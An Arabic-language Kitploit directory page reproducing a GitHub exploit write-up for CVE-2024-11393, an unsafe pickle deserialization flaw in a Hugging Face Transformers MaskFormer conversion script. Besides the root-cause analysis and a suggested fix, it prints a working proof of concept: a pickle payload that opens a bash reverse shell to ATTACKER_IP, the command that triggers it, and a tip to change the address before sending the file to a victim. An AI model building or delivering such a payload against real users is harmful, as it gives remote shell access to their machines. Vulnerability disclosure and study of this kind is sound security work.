Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-11393 — التفاصيل التقنية واستغلال الثغرة CVE-2024-11393 | Kitploit
أدوات/GitHubGitHub/piyush-bhor/cve-2024-11393
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

التفاصيل التقنية واستغلال الثغرة CVE-2024-11393

عرض المستودع
41منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-11393

ثغرة تنفيذ التعليمات البرمجية عن بُعد بسبب إلغاء تسلسل بيانات غير موثوقة في نموذج MaskFormer من Hugging Face Transformers

نظرة عامة وتأثيرات الثغرة:
تتيح الثغرة للمهاجم تنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عبر توفير ملف فحص maskformer resnet خبيث للسكربت convert_maskformer_swin_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير منتبه ملف فحص maskformer resnet تابعًا لطرف ثالث، فإن تشغيل سكربت convert_maskformer_swin_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.

المنتج المعرَّض للثغرة

  • المنتج: Hugging Face Transformers
  • الوحدة: Maskformer
  • الملف: transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • الإصدار: الأحدث
  • رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

تحليل السبب الجذري

  • وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم السكربت pickle.load لتحميل ملف الفحص، وهو عرضة لتنفيذ تعليمات برمجية.

  • تدفق الكود من الإدخال إلى الحالة القابلة للاستغلال:

  1. يقوم المستخدم بتنزيل نموذج maskformer تابع لطرف ثالث.
  2. يقوم المستخدم بتشغيل سكربت convert_maskformer_swin_to_pytorch.py وتمرير ملف الفحص إليه.
  3. يقوم سكربت convert_maskformer_swin_to_pytorch.py بإلغاء تسلسل ملف الفحص وتنفيذ التعليمات البرمجية الخبيثة.
  • نقطة الحقن: تحدث الثغرة عند النقطة التي يُستدعى فيها pickle.load.
    رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • الإصلاحات المقترحة: استبدال pickle.load بـ yaml.safe_load(yaml_file) أو json.load لمنع تنفيذ أي تعليمات برمجية عشوائية.

  • تعليمات تنفيذ إثبات المفهوم:

  1. أنشئ ملف pickle خبيثًا باسم malicious.pkl ينشئ قشرة عكسية (reverse shell) على نظام الضحية:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

ملاحظة: غيّر قيمة ATTACKER_IP وATTACKER_PORT قبل إرسال الملف إلى الضحية.

  1. شغّل سكربت convert_maskformer_swin_to_pytorch.py ومرر ملف malicious.pkl إلى الوسيط --checkpoint_path:
root@kitploit:~
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

ملاحظة: يمكن ضبط pytorch_dump_folder_path على أي مجلد، ويمكن أن يكون model_name أي نموذج.

رابط تنزيل البرنامج:
https://github.com/huggingface/transformers/tree/main

تنزيل الأداة